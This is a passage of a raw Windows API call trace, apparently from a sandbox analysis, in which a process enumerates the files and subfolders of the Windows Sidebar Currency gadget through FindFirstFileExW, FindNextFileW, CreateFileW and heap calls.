[0080.617] GetLastError () returned 0x12 [0080.617] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.617] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.618] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0080.618] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 [0080.618] GetLastError () returned 0x12 [0080.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246ac8) returned 1 [0080.618] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246bd0) returned 1 [0080.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12469c0) returned 1 [0080.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0080.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12469c0 [0080.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.619] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.619] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.620] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.620] NtClose (Handle=0x168) returned 0x0 [0080.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12469c0) returned 1 [0080.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12469c0 [0080.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246bd0 [0080.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.621] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.621] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0080.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246ac8 [0080.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5a50 [0080.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246de0 [0080.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.623] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0080.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5a70 [0080.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246ee8 [0080.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.624] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0080.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5a90 [0080.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246ff0 [0080.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.626] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0080.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5ab0 [0080.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12470f8 [0080.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.628] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0080.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5ad0 [0080.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247200 [0080.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6040) returned 0x124a7c8 [0080.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12312f0) returned 1 [0080.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0080.630] GetLastError () returned 0x12 [0080.630] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.630] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0080.630] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0080.630] GetLastError () returned 0x12 [0080.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246bd0) returned 1 [0080.630] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246ac8) returned 1 [0080.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12469c0) returned 1 [0080.631] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.631] GetLastError () returned 0x12 [0080.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12465a0) returned 1 [0080.631] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12466a8) returned 1 [0080.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246498) returned 1 [0080.632] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.632] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.635] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.635] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.635] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.635] NtClose (Handle=0x174) returned 0x0 [0080.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246498 [0080.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12466a8 [0080.637] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.638] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.639] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0080.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12465a0 [0080.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.640] 